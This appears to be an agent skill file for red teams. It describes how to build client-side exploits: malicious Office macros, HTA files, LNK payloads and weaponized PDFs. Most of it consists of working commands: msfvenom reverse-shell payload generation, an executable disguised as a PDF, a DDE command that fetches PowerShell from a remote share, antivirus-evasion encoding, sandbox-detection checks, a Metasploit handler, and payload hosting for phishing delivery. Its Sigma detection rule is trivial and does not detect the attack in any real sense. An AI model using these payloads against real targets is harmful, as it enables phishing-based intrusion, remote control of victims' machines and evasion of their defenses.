<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: building-client-side-exploits
description: >-
  Build client-side exploits including malicious documents, macro payloads, HTA files, and phishing lures that execute code when opened by targets in authorized red team engagements.
domain: cybersecurity
subdomain: exploit-development
tags:
  - client-side
  - macro
  - hta
  - phishing-payload
  - msfvenom
  - social-engineering
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1204", "T1059", "T1566"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["msfvenom", "python3", "msfconsole", "vba"]
---

# Building Client-Side Exploits

## Overview

Client-side exploits execute code when a target opens a malicious document, clicks
a link, or runs a delivered payload. This covers Office macro payloads, HTA files,
LNK abuse, and document-based exploits for authorized red team engagements.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `msfvenom` | Security tooling |
| `msfconsole` | Security tooling |
| `python3` | Security tooling |
| `Office suite for testing` | Security tooling |
| Authorized red team engagement with social engineering in scope | Environment requirement |
| Payload delivery infrastructure (email, web hosting) | Environment requirement |
| Target OS and application version intelligence | Environment requirement |

## Workflow

### Step 1: Payload Generation

```bash
# Generate VBA macro payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 \
  -f vba-psh -o macro_payload.vba

# Generate HTA payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 \
  -f hta-psh -o payload.hta

# Generate executable disguised as document
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 \
  -f exe -e x64/xor_dynamic -i 5 -o report.pdf.exe

# Generate LNK-based payload
node scripts/agent.js lnk-payload --lhost 10.0.0.1 --lport 443 --output shortcut.lnk
```

### Step 2: Document Weaponization

```bash
# Embed macro in Office document
node scripts/agent.js embed-macro --document template.docx \
  --macro macro_payload.vba --output phishing.docm

# Create document with DDE payload (legacy technique)
node scripts/agent.js dde-document --command "cmd /c powershell -ep bypass -f \\\\c2\\s.ps1" \
  --output urgent_invoice.docx

# Generate PDF with embedded JavaScript (Adobe Reader)
node scripts/agent.js pdf-exploit --payload reverse_shell.js --output document.pdf
```

### Step 3: Evasion Techniques

```bash
# Encode payload to evade static analysis
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 \
  -e x64/xor_dynamic -i 10 -f raw | base64 > encoded_payload.txt

# Sandbox detection in VBA
# If ActiveDocument.Name = ThisDocument.Name: exit (automated analysis check)
# If Application.MouseAvailable = False: exit (no mouse = sandbox)
# If Environ("COMPUTERNAME") = "SANDBOX": exit

# Test against Windows Defender
node scripts/agent.js av-test --payload payload.exe --engine defender
```

### Step 4: Delivery and Handler Setup

```bash
# Set up Metasploit handler
msfconsole -q -x "use exploit/multi/handler; \
  set PAYLOAD windows/x64/meterpreter/reverse_https; \
  set LHOST 10.0.0.1; set LPORT 443; \
  set AutoRunScript post/windows/manage/migrate; \
  exploit -j"

# Host HTA via HTTP
python3 -m http.server 8080 --directory payloads/
```

## Detection

```yaml
title: Client Side Exploits Detection
id: 8ee9ca08-44ca-42f7-9bbe-67c519b4d1cf
status: experimental
description: Detects suspicious activity related to building client side exploits techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*building*client*"
  condition: selection
level: critical
tags:
  - attack.t1204
  - attack.t1059
  - attack.t1566
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Client Side Exploits Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1204, T1059, T1566 |

## Verification

- [ ] Engagement RoE explicitly authorizes social engineering and client-side attacks
- [ ] Payload executes reliably on target OS/application version
- [ ] Evasion techniques tested against target endpoint protection
- [ ] Handler configured with auto-migrate for persistence
- [ ] Delivery mechanism tested in lab before engagement

## References

- [msfvenom](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html) — Payload generator
- [LOLBAS](https://lolbas-project.github.io/) — Living off the land binaries
- [MITRE T1204](https://attack.mitre.org/techniques/T1204/) — User Execution technique
